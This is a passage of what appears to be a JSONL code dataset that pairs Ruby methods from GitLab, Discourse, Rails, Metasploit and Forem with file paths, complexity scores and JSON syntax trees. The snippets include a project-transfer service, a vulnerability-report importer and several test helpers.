},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_svc_rsc\"]},\"resource_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"ServiceTemplate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"include_service_template?\",{\"type\":\"lvar\",\"children\":[\"parent_service_task\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_svc_rsc\"]},\"resource\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"parent_service\"]}]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_task\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_service_task\"]},\"class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"nh\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_task\"]},\"options\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"src_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_svc_rsc\"]},\"resource\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scaling_idx\"]},{\"type\":\"lvar\",\"children\":[\"scaling_idx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scaling_min\"]},{\"type\":\"lvar\",\"children\":[\"scaling_min\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_resource_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_svc_rsc\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_service_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_service\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_task_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_service_task\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_task\"]},\"state=\",{\"type\":\"str\",\"children\":[\"pending\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_task\"]},\"status=\",{\"type\":\"str\",\"children\":[\"Ok\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_task\"]},\"source=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_svc_rsc\"]},\"resource\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_task\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_task\"]},\"after_request_task_create\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_service_task\"]},\"miq_request\"]},\"miq_request_tasks\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"new_task\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tasks\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"new_task\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"tasks\"]}]}]}","id":"7052b569-8c9d-4168-9af2-597ddc7725a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/transfer_service.rb","start_line":25,"raw_source":"def execute(new_namespace)\n      @new_namespace = new_namespace\n\n      if @new_namespace.blank?\n        raise TransferError, s_('TransferProject|Please select a new namespace for your project.')\n      end\n\n      if @new_namespace.id == project.namespace_id\n        raise TransferError, s_('TransferProject|Project is already in this namespace.')\n      end\n\n      unless allowed_transfer_project?(current_user, project)\n        raise TransferError, s_(\"TransferProject|You don't have permission to transfer this project.\")\n      end\n\n      unless allowed_to_transfer_to_namespace?(current_user, @new_namespace)\n        raise TransferError, s_(\"TransferProject|You don't have permission to transfer projects into that namespace.\")\n      end\n\n      @owner_of_personal_project_before_transfer = project.namespace.owner if project.personal?\n\n      transfer(project)\n\n      log_project_transfer_success(project, @new_namespace)\n\n      true\n    rescue Projects::TransferService::TransferError => ex\n      project.reset\n      project.errors.add(:new_namespace, ex.message)\n\n      log_project_transfer_error(project, @new_namespace, ex.message)\n\n      false\n    end","complexity_score":58.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_namespace\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@new_namespace\",{\"type\":\"lvar\",\"children\":[\"new_namespace\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_namespace\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TransferError\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"TransferProject|Please select a new namespace for your project.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_namespace\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace_id\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TransferError\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"TransferProject|Project is already in this namespace.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_transfer_project?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TransferError\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"TransferProject|You don't have permission to transfer this project.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_to_transfer_to_namespace?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@new_namespace\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TransferError\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"TransferProject|You don't have permission to transfer projects into that namespace.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"personal?\"]},{\"type\":\"ivasgn\",\"children\":[\"@owner_of_personal_project_before_transfer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"owner\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"transfer\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"log_project_transfer_success\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"ivar\",\"children\":[\"@new_namespace\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"TransferService\"]},\"TransferError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"reset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"new_namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"log_project_transfer_error\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"ivar\",\"children\":[\"@new_namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"message\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"1919b150-cf01-4014-b7ad-22d2a87ebf9b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian.rb","start_line":516,"raw_source":"def can_ignore_user?(target_user)\n    can_ignore_users? && @user.id != target_user.id && !target_user.staff?\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"can_ignore_user?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_user\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_ignore_users?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_user\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_user\"]},\"staff?\"]},\"!\"]}]}]}","id":"c3dec7e4-99f6-45a3-bdc0-a9200e49a1b2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/gitaly_setup.rb","start_line":412,"raw_source":"def git_binaries\n    Dir.glob(File.join(tmp_tests_gitaly_dir, \"_build\", \"bin\", \"gitaly-git-v*\"))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"git_binaries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"tmp_tests_gitaly_dir\"]},{\"type\":\"str\",\"children\":[\"_build\"]},{\"type\":\"str\",\"children\":[\"bin\"]},{\"type\":\"str\",\"children\":[\"gitaly-git-v*\"]}]}]}]}","id":"9c048681-61ff-41c3-b79c-0b158a2f4d1b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":625,"raw_source":"def test_default_scope_select_ignored_by_aggregations\n    assert_equal DeveloperWithSelect.all.to_a.count, DeveloperWithSelect.count\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_scope_select_ignored_by_aggregations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperWithSelect\"]},\"all\"]},\"to_a\"]},\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperWithSelect\"]},\"count\"]}]}]}","id":"69d7e208-9904-480f-b934-2fa83bf4915e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/ip360/v3.rb","start_line":149,"raw_source":"def handle_ip360_v3_vuln(wspace,hobj,port,proto,hname,vulnid,vulnname,cves,bids,task=nil)\n    info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }\n    if hname != \"unknown\" and hname[-1,1] != \"?\"\n      info[:name] = hname\n    end\n\n    if port.to_i != 0\n      msf_import_service(info)\n    end\n\n    refs = []\n\n    cves.split(',').each do |cve|\n      refs.push(cve.to_s)\n    end if cves\n\n    bids.split(',').each do |bid|\n      refs.push('BID-' + bid.to_s)\n    end if bids\n\n    description = nil   # not working yet\n    vuln = {\n      :workspace => wspace,\n      :host => hobj,\n      :name => vulnname,\n      :info => description ? description : \"\",\n      :refs => refs,\n      :task => task\n    }\n\n    if port.to_i != 0\n      vuln[:port]  = port\n      vuln[:proto] = proto\n    end\n\n    msf_import_vuln(vuln)\n  end","complexity_score":39.68,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_ip360_v3_vuln\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wspace\"]},{\"type\":\"arg\",\"children\":[\"hobj\"]},{\"type\":\"arg\",\"children\":[\"port\"]},{\"type\":\"arg\",\"children\":[\"proto\"]},{\"type\":\"arg\",\"children\":[\"hname\"]},{\"type\":\"arg\",\"children\":[\"vulnid\"]},{\"type\":\"arg\",\"children\":[\"vulnname\"]},{\"type\":\"arg\",\"children\":[\"cves\"]},{\"type\":\"arg\",\"children\":[\"bids\"]},{\"type\":\"optarg\",\"children\":[\"task\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"lvar\",\"children\":[\"proto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"lvar\",\"children\":[\"task\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hname\"]},\"!=\",{\"type\":\"str\",\"children\":[\"unknown\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hname\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"hname\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},\"to_i\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"msf_import_service\",{\"type\":\"lvar\",\"children\":[\"info\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"refs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cves\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cves\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cve\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cve\"]},\"to_s\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bids\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bids\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"BID-\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bid\"]},\"to_s\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"description\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"hobj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"vulnname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"lvar\",\"children\":[\"refs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"lvar\",\"children\":[\"task\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]},\"to_i\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"lvar\",\"children\":[\"proto\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"msf_import_vuln\",{\"type\":\"lvar\",\"children\":[\"vuln\"]}]}]}]}","id":"7c483b85-7f52-45ca-8d35-547a94549769"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/composite_test.rb","start_line":48,"raw_source":"def test_column\n    ensure_warning_is_issued\n\n    column = PostgresqlComposite.columns_hash[\"address\"]\n    assert_nil column.type\n    assert_equal \"full_address\", column.sql_type\n    assert_not_predicate column, :array?\n\n    type = PostgresqlComposite.type_for_attribute(\"address\")\n    assert_not_predicate type, :binary?\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_warning_is_issued\"]},{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlComposite\"]},\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"address\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"full_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"sql_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"array?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlComposite\"]},\"type_for_attribute\",{\"type\":\"str\",\"children\":[\"address\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"binary?\"]}]}]}]}","id":"461500d5-4eb8-4939-b1bc-66ed000a216a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/named_scoping_test.rb","start_line":85,"raw_source":"def test_scopes_with_string_name_can_be_composed\n    # NOTE that scopes defined with a string as a name worked on their own\n    # but when called on another scope the other scope was completely replaced\n    assert_equal Topic.replied.approved, Topic.replied.approved_as_string\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scopes_with_string_name_can_be_composed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"replied\"]},\"approved\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"replied\"]},\"approved_as_string\"]}]}]}","id":"335ca138-c16b-4a60-a0f2-c5cadf85e235"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/bulk_sql_delete.rb","start_line":4,"raw_source":"def self.delete_in_batches(sql)\n    ActiveRecord::Base.connection_pool.with_connection do |connection|\n      perform_and_log(sql) do\n        unless Rails.env.test?\n          connection.begin_db_transaction\n        end\n        result = ApplicationRecord.with_statement_timeout STATEMENT_TIMEOUT, connection: connection do\n          connection.exec_delete(sql)\n        end\n        connection.commit_db_transaction unless Rails.env.test?\n\n        result\n      end\n    end\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"delete_in_batches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_and_log\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"begin_db_transaction\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"with_statement_timeout\",{\"type\":\"const\",\"children\":[null,\"STATEMENT_TIMEOUT\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"lvar\",\"children\":[\"connection\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"exec_delete\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"commit_db_transaction\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"a6627717-180e-478a-98f6-6a08bf917cf3"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/topic_list.rb","start_line":45,"raw_source":"def has_unread_badge?(topic)\n        page.has_css?(\"#{topic_list_item_unread_badge(topic)}\")\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_unread_badge?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic_list_item_unread_badge\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}]}]}]}","id":"62716e74-e58d-43bd-87b7-492b3b754734"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb","start_line":212,"raw_source":"def initialize\n            super\n\n            register_options(\n              [\n                Msf::OptString.new(\n                  'foo',\n                  [true, 'Foo option', 'default_foo_value']\n                ),\n                Msf::OptString.new(\n                  'SMBDomain',\n                  [ false, 'The Windows domain to use for authentication', 'WORKGROUP'],\n                  fallbacks: ['DOMAIN']\n                ),\n              ]\n            )\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Foo option\"]},{\"type\":\"str\",\"children\":[\"default_foo_value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMBDomain\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Windows domain to use for authentication\"]},{\"type\":\"str\",\"children\":[\"WORKGROUP\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallbacks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DOMAIN\"]}]}]}]}]}]}]}]}]}","id":"df13750c-358b-48ad-823a-92d9ff1ac56f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/wiki.rb","start_line":485,"raw_source":"def multi_commit_options(action, message = nil, title = nil)\n    commit_message = build_commit_message(action, message, title)\n    git_user = Gitlab::Git::User.from_gitlab(user)\n\n    {\n      branch_name: repository.root_ref || default_branch,\n      message: commit_message,\n      author_email: git_user.email,\n      author_name: git_user.name\n    }\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"multi_commit_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"title\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commit_message\",{\"type\":\"send\",\"children\":[null,\"build_commit_message\",{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"git_user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"User\"]},\"from_gitlab\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch_name\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"root_ref\"]},{\"type\":\"send\",\"children\":[null,\"default_branch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"commit_message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_user\"]},\"name\"]}]}]}]}]}","id":"41bfbf0a-78e5-4282-b40b-af7c5169f9e5"}
